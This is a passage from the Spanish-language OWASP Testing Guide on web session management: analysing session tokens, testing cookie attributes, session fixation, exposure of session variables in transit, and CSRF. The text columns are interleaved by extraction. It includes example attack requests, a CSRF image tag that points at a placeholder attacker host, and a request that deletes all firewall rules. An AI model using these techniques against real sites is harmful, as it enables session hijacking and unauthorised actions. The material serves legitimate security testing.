• ¿Qué caracteres se utilizan en la cookie? ¿Tiene la cookie un valor relativas a la predictibilidad y aleatoriedad.
numérico?, ¿alfanumérico?, ¿hexadecimal? ¿Qué sucede si el evaluador
inserta en una cookie caracteres que no pertenecen o no se esperan en el
conjunto?
La varianza dentro de los identificadores de sesión debe ser considerada
• ¿Está la cookie compuesta de diferentes subpartes que llevan diferentes junto con la duración y tiempos de espera de la sesión de la aplicación. Si
piezas de información? ¿Cómo se separan las diferentes partes?, ¿con que la variación dentro de los identificadores de sesión es relativamente
delimitadores? Algunas partes de la cookie podrían tener una variación pequeña, y la validez del identificador de sesión es larga, la probabilidad
mayor, otras pueden ser constantes, otras podrían suponer sólo un de un ataque de fuerza bruta exitoso es mucho mayor.
conjunto limitado de valores. Romper las cookies a sus componentes base
es el primer paso y el más fundamental de todos.
Un identificador de sesión largo (o más bien uno con una gran cantidad
de varianza) y un período de validez más corto, haria mucho más difícil
Un ejemplo de una cookie estructurada fácil de ubicar es el siguiente: tener éxito en un ataque de fuerza bruta.
ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=11205145
• ¿Cuánto tiempo tomaría un ataque de fuerza bruta en todos los posibles
21:S=j3am5KzC4v01ba3q identificadores de sesión?
• ¿Es el espacio del identificador de sesión lo suficientemente grande para

evitar un ataque de fuerza bruta? ¿Por ejemplo, la longitud de la clave es
suficiente en comparación con el tiempo de vida útil?
Este ejemplo muestra cinco campos diferentes, que llevan diferentes • ¿El retraso entre los intentos de conexión con diferentes identificadores de
tipos de información: sesión mitigan el riesgo de este ataque?
ID – hexadecimal
CR – entero pequeño
Si el evaluador tiene acceso al esquema de gestión de sesión de la
TM y LM – entero grande ( y curiosamente tienen el mismo valor. aplicación, puede comprobar lo siguiente:
Vale la pena ver lo que ocurre al modificar uno de ellos).
S – alfanumérico
• Sesión con una ficha al azar
El identificador de sesión o cookie emitido al cliente no debe ser

fácilmente predecible (no utilice algoritmos lineales basados en variables
predecibles como la dirección IP del cliente). Se recomienda el uso de
Incluso cuando no se utilizan caracteres delimitadores, tener suficientes algoritmos criptográficos con longitud de clave de 256 bits (como AES).
muestras puede ayudar. Como ejemplo, echemos un vistazo a la serie
siguiente:

131
• Longitud de la ficha • Correlation Coefficient: mathworld.wolfram.com
El identificador de sesión debe tener una longitud de al menos 50 • Darrin Barrall: “Automated Cookie Analysis”: rmccurdy.com
caracteres.
• ENT: fourmilab.ch
• seclists.org
• Duración de la sesión
• Gunter Ollmann: “Web Based Session Management” - technicalinfo.net
La ficha de sesión debe tener una duración definida (que depende de la
criticidad de los datos de la aplicación administrada). • Matteo Meucci:”MMS Spoofing”: owasp.org
• Configuración de cookies: Videos
• non-persistent: solo en memoria RAM • Session Hijacking in Webgoat Lesson: yehg.net
• secure (configure solo en canal HTTPS):
Set Cookie: cookie=data; path=/; domain=.aaa.it; secure Actividades de seguridad relacionadas
• HTTPOnly (no legible mediante un script): Descripción de las vulnerabilidades en la gestión de sesión
Set Cookie: cookie=data; path=/; domain=.aaa.it; HTTPOnly Vea los artículos sobre vulnerabilidades en la gestión de la sesión OWASP.
Mas información aquí: Probando los atributos de las cookies Descripción de las defensas de la gestión de sesión
Vea los artículos sobre las defensas de la gestión de sesión de OWASP.
Herramientas
• OWASP Zed Attack Proxy Project (ZAP): owasp.org - features a session Cómo evitar las vulnerabilidades de la gestión de sesión
token analysis mechanism.
Vea los artículos sobre cómo evitar las vulnerabilidades de la gestión de
• Burp Sequencer: portswigger.net sesión de OWASP.
• Foundstone CookieDigger: mcafee.com
• YEHG’s JHijack: owasp.org Cómo revisar el código en busca de vulnerabilidades en la gestión de sesión
Vea los artículos sobre cómo revisar el código en busca de

vulnerabilidades en la gestión de sesión OWASP.
Referencias
Libros Blancos
Pruebas de los atributos de las cookies (OTG-SESS-002)
• RFC 2965 “HTTP State Management Mechanism”
Resumen
• RFC 1750 “Randomness Recommendations for Security”
Las cookies son a menudo un vector de ataque clave para usuarios
• Michal Zalewski: “Strange Attractors and TCP/IP Sequence Number maliciosos (normalmente dirigidas hacia otros usuarios) y la aplicación
Analysis” (2001): lcamtuf.coredump.cx siempre debe tomar las debidas diligencias para proteger las cookies. Esta
sección examina cómo una aplicación puede tomar las precauciones
• Michal Zalewski: “Strange Attractors and TCP/IP Sequence Number necesarias al asignar las cookies y cómo se prueba que estos atributos se
Analysis - One Year Later” (2002): lcamtuf.coredump.cx han configurado correctamente.

132
comprar y sus datos auxiliares (es decir, precio y cantidad) en el tipo de

aplicación de tienda en línea.
La importancia del uso seguro de las cookies no puede estar subestimada,
especialmente en aplicaciones web dinámicas, que necesitan mantener el
estado a través de un protocolo sin estado como HTTP. Para entender la
importancia de las cookies, es imprescindible entender para qué se usan Una vez que el evaluador tiene una comprensión de cómo se establecen
principalmente. Dentro de las funciones primarias se encuentran, las cookies, cuándo se configuran, para qué se utilizan, por qué se utilizan
generalmente, las de ser utilizadas como una autorización de sesión y y su importancia, debería echar un vistazo a qué atributos se pueden
ficha de autenticación o como un contenedor de datos temporales. Así, si establecer en una cookie y cómo comprobar si son seguras. La siguiente
un atacante pudiera adquirir una ficha de sesión (por ejemplo, mediante es una lista de los atributos que se pueden establecer para cada cookie y
la explotación de una vulnerabilidad en un script de sitios cruzados o por lo que significan. La siguiente sección se centrará en cómo probar para
olfatear una sesión no encriptada), entonces podría utilizar esta cookie cada atributo.
para secuestrar una sesión válida.
• Segura - este atributo indica al navegador que sólo envíe la cookie si la

Además, las cookies se establecen para mantener el estado entre varias solicitud se remite mediante un canal seguro como HTTPS. Esto ayudará a
solicitudes. Dado que HTTP no tiene estado, el servidor no puede proteger el envio de la cookie por solicitudes no encriptadas. Si se puede acceder
determinar si una solicitud que recibe es parte de una sesión actual o el a la aplicación a través de HTTP y HTTPS, entonces existe la posibilidad de que
comienzo de una nueva sesión sin ningún tipo de identificador. Este la cookie pueda mandarse en texto limpio.
identificador es muy comúnmente una cookie, aunque también son
posibles otros métodos. Hay muchos tipos diferentes de aplicaciones que • HttpOnly - este atributo se utiliza para ayudar a prevenir ataques como cross-
necesitan hacer un seguimiento del estado de la sesión a través de site scripting, ya que no permite que puedan acceder a la cookie a través de un
múltiples solicitudes. La primera que viene a la mente es una tienda script del lado del cliente como JavaScript. Tenga en cuenta que no todos los
online. navegadores admiten esta funcionalidad.
• Dominio - este atributo se utiliza para comparar contra el dominio del servidor
en el que se solicita la dirección URL. Si el dominio coincide o si es un
Mientras un usuario añade varios elementos a un carro de compras, estos subdominio, entonces el atributo de ruta de acceso se comprobará a
datos deben conservarse en las solicitudes posteriores a la aplicación. Las continuación.
cookies son muy utilizadas para esta tarea y son configuradas por la
aplicación utilizando la directiva Set-Cookie en la respuesta HTTP de la
aplicación y está generalmente en un formato name=value (si las cookies
Note que sólo los hosts dentro del dominio especificado pueden
se encuentran activadas y si son compatibles, como es el caso para todos
establecer una cookie para ese dominio. También note que el atributo del
los navegadores modernos). Una vez que una aplicación le ha dicho al
dominio no puede ser un dominio de nivel superior (como .gov o .com)
navegador que utilice una cookie determinada, el navegador enviará esta
para evitar que los servidores configuren arbitrariamente cookies para
cookie en cada solicitud subsiguiente. Una cookie puede contener datos
otro dominio. Si no se establece el atributo de dominio, el nombre del
tales como los elementos de un carro de compras en línea, el precio de
servidor host que genera la cookie se utiliza como el valor por defecto del
estos artículos, la cantidad de estos artículos, información personal,
dominio.
identificador de usuarios, etc.
Por ejemplo, si se configura una cookie mediante una aplicación en

Debido a la naturaleza sensible de la información dentro de las cookies,
app.mydomain.com sin ningún conjunto de atributos de dominio, la
normalmente son codificadas o encriptadas en un intento de proteger la
cookie será reenviada, para todas las solicitudes posteriores de
información que contienen. A menudo, múltiples cookies pueden ser
app.mydomain.com y sus subdominios (por ejemplo,
configuradas (separadas por un punto y coma) para las solicitudes
hacker.app.mydomain.com), pero no a otherapp.mydomain.com. Si un
subsiguientes. Por ejemplo, en el caso de una tienda online, una nueva
desarrollador desea liberar esta restricción, entonces puede establecer el
cookie podría establecerse al momento que el usuario agrega varios
atributo de dominio a midominio.com. En este caso la cookie sería
elementos al carro de compras.
enviada a todas las peticiones de app.mydomain.com y sus subdominios,
como hacker.app.mydomain.com e incluso bank.mydomain.com.
Además, normalmente habrá una cookie de autenticación (ficha de sesión

como se indica arriba) una vez que el usuario se conecta y múltiples otras
Si hubiera un servidor vulnerable en un subdominio (por ejemplo,
cookies que se utilizan para identificar los elementos que el usuario desea
otherapp.mydomain.com) y el atributo del dominio se ha establecido muy

133
ligeramente (por ejemplo midominio.com), entonces el servidor permitiría a un atacante utilizar un servidor vulnerable en el dominio para
vulnerable podría ser utilizado para cosechar las cookies (como las fichas cosechar la cookie del usuario a través de una vulnerabilidad como XSS.
de sesión).
• Atributo de Ruta - Verifique que el atributo de ruta, así como el atributo del
dominio, no han sido establecidos muy libremente. Incluso si el atributo del
dominio ha sido configurado tan firmemente como es posible, si la ruta de
• Ruta (path) - Además del dominio, la ruta de la URL en la que la cookie es acceso se establece hacia el directorio raíz "/" entonces puede ser vulnerable a
válida puede especificarse. Si coincide el dominio y la ruta, la cookie se aplicaciones menos seguras en el mismo servidor. Por ejemplo, si la aplicación
enviará en la solicitud. Al igual que con el atributo de dominio, si se reside en /myapp/, compruebe que la ruta de cookies está ajustada a
establece el atributo de ruta de acceso muy ligeramente, entonces podría ";path=/myapp/" y no a ";path =/" o ";path =/myapp". Note aquí que el ruteador
dejar a la aplicación vulnerable a los ataques de otras aplicaciones en el "/" debe ser utilizado después de myapp. Si no se utiliza, el navegador enviará la
mismo servidor. cookie a cualquier ruta que coincida con "myapp", tal como "myapp-exploited".
Por ejemplo, si el atributo de la ruta de acceso se establece en la raíz del • Atributo de Caducidad - Si este atributo se establece en un momento en el
servidor web "/", entonces se enviarán las cookies de la aplicación para cada futuro, verifique que la cookie no contenga ninguna información sensible. Por
aplicación dentro del mismo dominio. ejemplo, si una cookie se establece en “; expires=Sun, 31-Jul-2016 13:45:29
GMT” y actualmente es 31 de julio de 2014, entonces el evaluador debe
• caduca (expires) - este atributo se utiliza para configurar cookies inspeccionar la cookie. Si la cookie es una ficha de sesión que se almacena en el
persistentes, puesto que la cookie no caduca hasta que se supera la fecha disco duro del usuario, entonces un atacante o un usuario local (como un
establecida. Esta cookie persistente se utilizará en esta sesión y en sesiones administrador) que tiene acceso a esta cookie puede acceder a la aplicación
posteriores hasta que la cookie caduque. Una vez que ha superado la fecha reenviando esta ficha hasta que pase la fecha de caducidad.
de caducidad, el navegador borrará la cookie. Alternativamente, si no se
establece este atributo, entonces la cookie sólo es válida en la sesión actual
del navegador y la cookie se eliminará cuando finalice la sesión.
Herramientas
Intercepting Proxy:
Cómo probar
• OWASP Zed Attack Proxy Project
Probar las vulnerabilidades de los atributos de una cookie: Usando un

proxy interceptor o un plug-in interceptor de tráfico del navegador, Browser Plug-in:
atrape todas las respuestas que una cookie tiene establecidas por la
aplicación (use la directiva Set-cookie) y revise la cookie en busca de lo • “TamperIE” for Internet Explorer: bayden.com
siguiente:
• Adam Judson: “Tamper Data” for Firefox: addons.mozilla.org
• Atributo seguro - cada vez que una cookie contiene información sensible o es
una ficha de sesión, siempre debe ser pasada mediante un túnel encriptado. Por Referencias
ejemplo, después de iniciar la sesión en una aplicación y haber establecido una
Libros Blancos
ficha de sesión mediante una cookie, verifique si está etiquetada con una bandera
de "seguridad";. Si no es así, entonces el navegador estará de acuerdo en pasar a
• RFC 2965 - HTTP State Management Mechanism: tools.ietf.org
través de un canal sin encriptar, usando HTTP, y esto podría permitir a un
atacante dirigir a los usuarios a enviar sus cookies por un canal inseguro.
• RFC 2616 - Hypertext Transfer Protocol - HTTP 1.1: tools.ietf.org
• Atributo HttpOnly - Este atributo debería fijarse siempre, a pesar de que no
• The important “expires” attribute of Set-Cookie
todos los navegadores lo soportan. Este atributo ayuda a proteger la cookie del
http://seckb.yehg.net/2012/02/important-expires-attribute-of-set.html
acceso de un script del lado del cliente, no elimina el riesgo de scripts de sitios
cruzados, pero elimina algunos vectores de explotación. Verifique si la etiqueta
• HttpOnly Session ID in URL and Page Body
"HttpOnly" ha sido fijada.
http://seckb.yehg.net/2012/06/httponly-session-id-in-url-and-page.html
• Atributo del Dominio - Verifique que el dominio no ha sido establecido muy

libremente. Como se señaló anteriormente, sólo debe establecerse para el
servidor que necesita recibir la cookie. Por ejemplo, si la aplicación reside en el
Pruebas de Fijación de Sesión (OTG-SESS-003)
servidor app.mysite.com, entonces debe establecerse en
";domain=app.mysite.com"y no en ";domain=.mysite.com" ya que esto le
134
Breve resumen Él obtendrá la siguente respuesta
Cuando una aplicación no renueva su(s) cookie(s) de sesión después de

HTTP/1.1 200 OK
una autenticación exitosa, podría ser posible encontrar una
vulnerabilidad de fijación de sesión y forzar a un usuario a utilizar una
Date: Wed, 14 Aug 2008 08:45:11 GMT
cookie conocida por el atacante. En ese caso, un atacante podría robar la
sesión del usuario (secuestro de sesión). Server: IBM_HTTP_Server
Set-Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1;
Path=/; secure
Las vulnerabilidades de fijación de sesión ocurren cuando:
Cache-Control: no-cache=”set-cookie,set-cookie2”
Expires: Thu, 01 Dec 1994 16:00:00 GMT

• Una aplicación web autentica a un usuario sin invalidar primero el ID de
Keep-Alive: timeout=5, max=100
sesión existente, de tal modo que continúa usando el identificador de sesión
ya asociado con el usuario. Connection: Keep-Alive
• Un atacante es capaz de forzar un Identificador de sesión conocido sobre Content-Type: text/html;charset=Cp1254

un usuario para que, una vez que el usuario se autentica, el atacante tenga
acceso a la sesión autenticada.
La aplicación fija un nuevo identificador de sesión

En una explotación de vulnerabilidades genéricas de fijación de sesión, un
atacante crea una nueva sesión en una aplicación web y registra el
JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1 for the client.
identificador de sesión asociado. El atacante, entonces, hace que la
víctima se autentique en el servidor utilizando el mismo identificador de
sesión, lo que da al atacante acceso a la cuenta del usuario a través de la
sesión activa. A continuación, si el evaluador se autentica con éxito a la aplicación con
los siguientes POST HTTPS:
Además, el problema descrito anteriormente es difícil para los sitios que

emiten un identificador de sesión sobre HTTP y luego redireccionan al
usuario a un formulario de inicio de sesión en HTTPS. Si el identificador
de sesión no es regenerado tras la autenticación, el atacante puede
husmear y robar el identificador y luego usarlo para secuestrar la sesión.
Cómo probar
Probar las vulnerabilidades de fijación de sesión:
El primer paso es hacer una solicitud al sitio a ser probado (ejemplo

www.example.com). Si el evaluador solicita lo siguiente:
GET www.example.com

135
POST https://www.example.com/authentication.php HTTP/1.1 HTTP/1.1 200 OK
Host: www.example.com Date: Thu, 14 Aug 2008 14:52:58 GMT
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.16) Server: Apache/2.2.2 (Fedora)
Gecko/20080702 Firefox/2.0.0.16
X-Powered-By: PHP/5.1.6
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain; Content-language: en
q=0.8,image/png,*/*;q=0.5
Cache-Control: private, must-revalidate, max-age=0
X-Content-Encoding: gzip
Content-length: 4090
Connection: close
Keep-Alive: 300
Content-Type: text/html; charset=UTF-8
...
Referer: http://www.example.com
HTML data
Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1
Como ninguna cookie nueva ha sido emitida tras una autenticación
Content-length: 57
exitosa, el evaluador sabe que es posible realizar un secuestro de sesión.
Name=Meucci&wpPassword=secret!&wpLoginattempt=Log+in
Resultado esperado: El evaluador puede enviar un identificador de sesión
válido a un usuario (posiblemente usando un truco de ingeniería social),
esperar a que él se autentique y verificar posteriormente que los
privilegios han sido asignados a esta cookie.
El evaluador observa la siguiente respuesta del servidor:
Hable con los desarrolladores y entienda si se ha implementado una

renovación de ficha de sesión después de una autenticación exitosa de los
usuarios.
Resultado esperado: La aplicación debe siempre invalidar el

identificador de sesión existente, antes de autenticar a un usuario; y si la
autenticación tiene éxito, proporcionar otro identificador de sesión.
Herramientas
• Hijack - a numeric session hijacking tool: yehg.net
• OWASP WebScarab: owasp.org

136
Para probar las vulnerabilidades de encriptación y reutilización de las

fichas de sesión:
Referencias
La protección contra intrusos es proporcionada a menudo por una
Libros Blancos encriptación SSL, pero puede incorporar otros túneles o encriptados.
Cabe señalar que la encriptación o hash criptográfico del identificador de
• Session Fixation: owasp.org sesión debe considerarse por separado del encriptado del transporte, ya
que es el identificador de sesión en sí el que se está protegiendo, no los
• ACROS Security: acrossecurity.com datos que pueden ser representados por él.
• Chris Shiflett: shiflett.org
Si un atacante puede presentar un identificador de sesión a la aplicación

para tener acceso, entonces esta debe estar protegida durante el tránsito
Pruebas para determinar la Exposición de las Variables de Sesión (OTG-
para mitigar ese riesgo. Por lo tanto, debería asegurarse que la
SESS-004)
encriptación sea tanto la norma como el que sea reforzada para cualquier
petición o respuesta en la que se transfiera el identificador de sesión, sin
Resumen
importar el mecanismo utilizado (por ejemplo, un campo oculto de un
formulario). Debe realizar controles simples como la sustitución de
Las fichas de sesión(Cookie, SessionID, Hidden Field), si se exponen,
https:// con http:// durante la interacción con la aplicación, junto con la
generalmente permitirán a un atacante hacerse pasar por una víctima y
modificación de los formularios publicados para determinar si se
acceder a la aplicación ilegítimamente. Es importante que estén
implementa la segregación adecuada entre los sitios seguros y no
protegidas de intrusos en todo momento, especialmente mientras están
seguros.
en tránsito entre el navegador del cliente y los servidores de las
aplicaciones.
Tenga en cuenta también que si hay un elemento en el sitio donde se

realiza un seguimiento del usuario a traves de un identificador de sesión,
Esta información se refiere a cómo la seguridad en el transporte se aplica
pero la seguridad no está presente (por ejemplo, observando qué
a la transferencia de datos sensibles del identificador de sesión en
documentos públicos descarga un usuario registrado), es esencial que se
general, y puede ser más estricta que las políticas de transporte y
utilice un identificador de sesión diferente. El identificador de sesión, por
almacenamiento en caché de los datos atendidos por el sitio.
lo tanto, debe ser monitoreado mientras el usuaio cambia entre
elementos seguros y no seguros para garantizar que se utiliza uno
diferente.
Utilizando un proxy interceptor, es posible conocer lo siguiente sobre
cada petición y respuesta:
Resultado esperado:
• Protocol used (e.g., HTTP vs. HTTPS) Cada vez que la autenticación es exitosa, el usuario debe esperar recibir:
• HTTP Headers
• Message Body (e.g., POST or page content) • Una ficha de sesión diferente
• Una ficha enviada a traves de un canal encriptado cada vez que se hace una
solicitud HTTP
Cada vez que los datos del identificador de sesión pasan entre el cliente y
el servidor, el protocolo, caché, las directivas y cuerpo de privacidad
deben ser revisadas. La seguridad del transporte se refiere a la
Para probar las vulnerabilidades de proxys y caché
circulación del identificador de sesión por peticiones GET o POST, cuerpo
de los mensajes u otros medios, mediante solicitudes HTTP válidas.
Los proxys también debe considerarse al revisar la seguridad de las
aplicaciones. En muchos casos, los clientes accederán a la aplicación a
través del ISPcorporativo y los proxies o gateways conscientes del
Cómo probar protocolo, (por ejemplo, Firewalls). El protocolo HTTP proporciona

137
directivas para controlar el comportamiento de proxies aguas abajo, y la

correcta aplicación de estas directivas también debe ser evaluada.
Resultado esperado:
Todo código del lado del servidor que recibe datos de solicitudes POST
En general, el identificador de sesión nunca debe ser enviado mediante debe ser analizado para asegurarse que no acepte los datos si se envía
un transporte no encriptado y no debe almacenarse en caché. La como una solicitud GET. Por ejemplo, considere la siguiente petición
aplicación debe ser examinada para asegurarse que las comunicaciones POST, generada por una página de registro.
encriptadas sean tanto la norma como el que sean reforzadas para
cualquier transferencia de identificadores de sesión. Además, cada vez
POST https://owaspapp.com/login.asp HTTP/1.1
que se pasa el identificador de sesión, las directivas deben estar colocadas
para evitar su almacenamiento en caché por cachés intermedios e incluso
Host: owaspapp.com
locales.
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2)
Gecko/20030208 Netscape/7.02 Paros/3.0.2b
La aplicación debe configurarse también para asegurar los datos en Accept: */*
caché, tanto en HTTP/1.0 y HTTP/1.1 – RFC 2616 discute los controles
adecuados en cuanto a HTTP. HTTP/1.1 proporcionando una serie de Accept-Language: en-us, en
mecanismos de control de caché. Control-Cache: no-cache indica que un
proxy no debe volver a utilizar los datos. Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66
Keep-Alive: 300
Whilst Cache-Control: Private parece ser una directiva adecuada. Esto Cookie: ASPSESSIONIDABCDEFG=ASKLJDLKJRELKHJG
permite a un proxy no compartido acceder a los datos del caché. En el
caso de café net u otros sistemas compartidos, esto presenta un riesgo Cache-Control: max-age=0
evidente. Incluso con estaciones de trabajo monousuario, el identificador
de sesión almacenada en caché puede quedar expuesto si el sistema de Content-Type: application/x-www-form-urlencoded
archivos se encuentra comprometido o si se utilizan cadenas de tiendas.
Los Cachés de HTTP/1.0 no reconocen la directiva de Cache-Control: no- Content-Length: 34
cache.
Login=Username&password=Password&SessionID=12345678
Resultado esperado:
Las directivas "Expires: 0" y Cache-Control: max-age = 0 pueden usarse

para asegurar posteriormente que los cachés no expongan los datos. Si login.asp está mal implementado, es posible iniciar una sesión con la
Cada solicitud y respuesta que pasa datos del identificador de sesión siguiente URL:
deben ser examinadas para asegurar que las directivas de caché
adecuadas están siendo utilizadas. http://owaspapp.com/login.asp?Login=Username&password=Password&Sessio
nID=12345678
Para probar Las vulnerabilidades De GET Y POST:

Se pueden identificar los scripts potencialmente inseguros del servidor
En general, las solicitudes GET no deberían utilizarse, ya que el revisando cada POST de esta manera.
identificador de sesión puede quedar expuesto en el registro del Proxy o
del Firewall. También son más fácilmente manipulables que otros tipos de
transporte, aunque debe señalarse que cualquier mecanismo puede ser
manipulado por el cliente con las herramientas adecuadas. Además, los Para probar las vulnerabilidades de transporte:
ataques de scripts de sitios cruzados (XSS) son explotados más fácilmente
mediante el envío de un enlace especialmente construido para la víctima. Toda la interacción entre el cliente y la aplicación debe probar, al menos,
Esto es mucho menos probable si los datos se envían desde el cliente los siguientes criterios.
como POST.

138
• ¿Cómo se transfieren los identificadores de sesión, por ejemplo, GET, [3] La gestión de sesión de la aplicación basada únicamente en la
POST, Form Field(incluyendo campos ocultos)? información que es conocida por el navegador;
• ¿Son los identificadores de sesión enviados siempre a través de [4] La existencia de etiquetas HTML cuya presencia permite un acceso
transporte encriptado por defecto? inmediato a un recurso http[s]; por ejemplo, la etiqueta de imagen img.
• ¿Es posible manipular la aplicación para enviar los identificadores de

sesión sin encriptar?, ¿por ejemplo, cambiando de HTTPS a HTTP?
Los puntos 1, 2 y 3 son esenciales para que la vulnerabilidad esté
• ¿Qué directivas de control de caché se aplican a las solicitudes o presente, mientras que el punto 4 es un accesorio y facilita la explotación
respuestas que pasan identificadores de sesión? • ¿Están siempre real, pero no es estrictamente necesario.
presentes estas directivas? Si no es así, ¿dónde están estas excepciones?
• ¿Incorporan las solicitudes GET al identificador de sesión utilizado?

Punto 1) Los navegadores envían automáticamente información que se
• ¿Si se utiliza un POST, puede ser intercambiado con GET? utiliza para identificar una sesión de usuario. Supongamos que el sitio es
un sitio que aloja una aplicación web, y el usuario víctima acaba de
autenticarse sólo en el sitio. En respuesta, el sitio envía a la víctima una
cookie que identifica las peticiones enviadas por la víctima como
Referencias pertenecientes a la sesión autenticada por él o ella. Básicamente, una vez
que el navegador recibe la cookie configurada por el sitio,
Libros Blancos automáticamente la enviará junto con cualquier otra solicitud dirigida al
sitio.
• RFCs 2109 & 2965 – HTTP State Management Mechanism [D. Kristol, L.
Montulli]: ietf.org
• RFC 2616 - Hypertext Transfer Protocol - HTTP/1.1: ietf.org Punto 2) Si la aplicación no hace uso de la información relacionada con la
sesión en las URL, entonces significa que las URL de la aplicación, sus
parámetros y valores legítimos pueden identificarse (ya sea por el
análisis de código o accediendo a la aplicación y tomando nota de los
Pruebas de un CSRF (OTG-SESS-005)
formularios y direcciones URL incrustadas en el HTML/JavaScript).
Resumen
CSRF es un ataque que obliga a un usuario a ejecutar acciones no

Punto 3) "Conocida por el navegador" se refiere a información como
deseadas en una aplicación web en la que actualmente él o ella se
cookies o información de autenticación basada en http (como
encuentra autenticado(a). Con un poco de ayuda de la ingeniería social
autenticación básica y no basada en los formularios de autenticación),
(como enviar un enlace a través de un correo electrónico o chat), un
que son almacenadas por el navegador y posteriormente enviadas a cada
atacante puede forzar a los usuarios de una aplicación web a ejecutar
petición dirigida hacia un área de aplicación, solicitando la autenticación.
acciones escogidas por el atacante.
Las vulnerabilidades discutidas a continuación se refieren a las
aplicaciones que dependen totalmente de este tipo de información para
identificar una sesión de usuario.
Un ataque CSRF exitoso puede comprometer los datos del usuario final y
la operación cuando se dirige a un usuario normal. Si la cuenta de
administrador es el usuario final objetivo , un ataque CSRF puede
Supongamos, para simplificar, que para referirse a las direcciones URL
comprometer a toda la aplicación de web.
accesibles mediante peticiones GET (aunque la discusión se aplica
también a las peticiones POST). Si la víctima ya se ha autenticado, el envío
de otra petición causa que la cookie se despache automáticamente con
CSRF se basa en lo siguiente: ésta (vea la imagen, donde el usuario accede a una aplicación en
www.example.com).
[1] El comportamiento del navegador web con respecto al manejo de
información relacionada con la sesión como las cookies y la información
de autenticación http;
[2] El conocimiento del atacante sobre URLs válidos de aplicaciones web;

139
<html><body>
...
<img src=”https://www.company.example/action” width=”0”

height=”0”>
La petición GET puede originarse de varias maneras diferentes:
...
• por el usuario, que está utilizando la aplicación web misma;
• por el usuario, que escribe la URL directamente en el navegador;

</body></html>
• por el usuario, que sigue un enlace (externo a la aplicación) apuntando a la
URL.
Lo que hará el evaluador cuando presente esta página es intentar mostrar
también el carácter zero-width especificado (es decir, invisible). Esto
resulta en una petición que se envía automáticamente a la aplicación web
Estas invocaciones son indistinguibles por la aplicación. En particular, el
alojada en el sitio. No importa que la imagen del URL no haga referencia a
tercer punto puede ser muy peligroso. Hay una serie de técnicas (y
una imagen adecuada; su presencia activará la solicitud especificada en el
vulnerabilidades) que pueden encubrir las propiedades reales de un
campo SRC de todos modos. Esto sucede siempre que la descarga de
enlace. El enlace puede incrustarse en un mensaje de correo electrónico, o
imagenes no esté deshabilitada en los navegadores, que es una
aparecer en un sitio web malintencionado donde el usuario es engañado,
configuración típica, ya que desactivar las imágenes significaría paralizar
es decir, el enlace aparece en el contenido alojado en otra parte (otro sitio
la mayoría de las aplicaciones web inutilizándolas.
web, un mensaje de correo electrónico HTML, etc.) y apunta a un recurso
de la aplicación. Si el usuario hace clic en el enlace, puesto que él ya
estaba autenticado por la aplicación web en el sitio, el navegador enviará
una petición GET a la aplicación web, acompañada de la información de
El problema aquí es una consecuencia de los siguientes hechos:
autenticación (la cookie de identificación de sesión). Esto resulta en una
operación válida, realizada en la aplicación web que probablemente no es
lo que el usuario esperaba que ocurra. Piense en un enlace malicioso que
realiza una transferencia de fondos en una aplicación web bancaria para • Hay etiquetas HTML cuya aparición en una página resulta en una ejecución
apreciar las implicaciones. de una solicitud automática de la http (siendo una de éstas img);
• el navegador no tiene manera de saber que el recurso referenciado por img

no es realmente una imagen y que de hecho no es legítimo;
Mediante el uso de una etiqueta como img, tal como se especificó
anteriormente en el punto 4, ni siquiera es necesario que el usuario siga • la carga de la imagen sucede independientemente de la ubicación de la
un enlace concreto. Supongamos que el atacante envía al usuario un supuesta imagen, es decir, el formulario y la imagen en sí no necesitan estar
correo electrónico que le invita a visitar una URL de una página que ubicados en el mismo host, ni siquiera en el mismo dominio. Aunque ésta es
contiene el siguiente código HTML (sobresimplificado): una característica muy útil, hace difícil compartimentar aplicaciones.
Es un hecho que el contenido HTML no relacionado con la aplicación web

puede referirse a los componentes de la aplicación, y que el navegador
automáticamente crea una solicitud válida para la aplicación, que permite
este tipo de ataques. Como no hay estándares definidos en este momento,
no hay manera de prohibir este comportamiento a menos que se haga
imposible que el atacante pueda especificar solicitudes de direcciones
URL válidas. Esto significa que las URL válidas deben incluir información
relacionada a la sesión del usuario, que supuestamente no pueda ser

140
conocida por el atacante y, por lo tanto, sea imposible la identificación de configuración si el usuario introduce '*' (una característica peligrosa,
esas URL. pero que hará que el ejemplo sea más interesante). La página de
eliminación se muestra a continuación. Supongamos que el formulario –
por simplicidad – emite una solicitud GET, que tendrá la forma:
El problema podría ser aún peor ya que, en ambientes integrados de

correo y navegador, simplemente mostrar un mensaje de correo https://[target]/fwmgt/delete?rule=1
electrónico que contiene la imagen resultaría en la ejecución de la
solicitud hacia la aplicación web con la cookie del navegador asociado.
Las cosas pueden ofuscarse más mediante la referencia de la imagen (para eliminar la regla número uno)
aparentemente válida de la URL como:
https://[target]/fwmgt/delete?rule=*
<img src=”https://[attacker]/picture.gif” width=”0” height=”0”>
(para eliminar todas las reglas).

donde [atacante] es un sitio controlado por el atacante, utilizando un
mecanismo de redirección en:
El ejemplo es deliberadamente ingenuo, pero muestra de manera sencilla

http://[attacker]/picture.gif to http://[thirdparty]/action. los peligros del CSRF.
Las cookies no son el único ejemplo en este tipo de vulnerabilidad. Las

aplicaciones web cuya información de sesión se suministra totalmente
mediante el navegador son vulnerables también. Esto incluye
aplicaciones que se apoyan solamente en mecanismos de autenticación
HTTP, ya que la información de autenticación es conocida por el
navegador y se envía automáticamente en cada petición. Esto NO incluye
la autenticación basada en formularios, que ocurre sólo una vez y genera Por lo tanto, si entramos el valor '*' y presiona el botón Supr, se envía la
algún tipo de información relacionada con la sesión (por supuesto, en siguiente solicitud GET:
este caso, dicha información se expresa simplemente como una cookie y
podemos caer en uno de los casos anteriores).
https://www.company.example/fwmgt/delete?rule=*
Escenario de ejemplo
Supongamos que la víctima ha iniciado la sesión en una aplicación web de

gestión de firewall. Para iniciar la sesión, un usuario tiene que
autenticarse por sí mismo y la información de sesión se almacena en una
cookie.
Supongamos que la aplicación web de gestión de firewall tiene una

función que permite al usuario autenticado eliminar una regla
especificada por su número posicional, o todas las reglas de la
141
con el efecto de eliminar todas las reglas del firewall (y terminar en una
situación posiblemente inconveniente).
